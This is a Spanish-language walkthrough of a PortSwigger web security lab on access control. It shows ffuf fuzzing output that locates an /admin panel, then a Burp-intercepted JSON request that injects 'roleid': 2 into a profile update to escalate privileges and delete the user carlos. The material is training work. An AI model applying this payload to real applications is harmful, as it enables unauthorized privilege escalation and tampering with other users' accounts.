Access Control Vulnerabilities Lab 4
Skills
- User role can be modified in user profile
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
tiene un panel de administración
en /admin
. Solo es accesible para usuarios autenticados
con un roleid
de 2
. Para resolver
el laboratorio, debemos acceder
al panel de administración
y eliminar
al usuario carlos
. Podemos iniciar sesión
en tu nuestra cuenta con las siguientes credenciales wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos en My account
y nos logueamos con las credenciales wiener:peter
Fuzzeamos
rutas y encontramos una llamada /admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# ffuf -c -t 20 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://0a0600100345e4df8263e5a700810033.web-security-academy.net/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://0a0600100345e4df8263e5a700810033.web-security-academy.net/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 20
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
ADMIN [Status: 401, Size: 2588, Words: 1053, Lines: 54, Duration: 63ms]
Admin [Status: 401, Size: 2588, Words: 1053, Lines: 54, Duration: 59ms]
Login [Status: 200, Size: 3051, Words: 1287, Lines: 63, Duration: 67ms]
admin [Status: 401, Size: 2588, Words: 1053, Lines: 54, Duration: 61ms]
analytics [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
favicon.ico [Status: 200, Size: 15406, Words: 11, Lines: 1, Duration: 56ms]
filter [Status: 200, Size: 10778, Words: 5080, Lines: 199, Duration: 63ms]
login [Status: 200, Size: 3051, Words: 1287, Lines: 63, Duration: 61ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 60ms]
my-account [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 59ms]
Si accedemos a /admin
nos muestra
este mensaje
En la parte de My account
vemos que podemos actualizar
nuestro email
Si interceptamos
la petición
mediante Burpsuite
vemos esto
Si enviamos
la petición
, esta es la repuesta
que recibimos
Podemos enviar
este payload
en el cual cambiamos nuestro roleid
a 2
con el fin de escalar privilegios
1
2
3
4
{
"email":"wiener@normal-user.net",
"roleid": 2
}
Una vez ascendido
nuestro privilegio
ya podemos acceder
a /admin
, borrar
al usuario carlos
y ascender
nuestro privilegio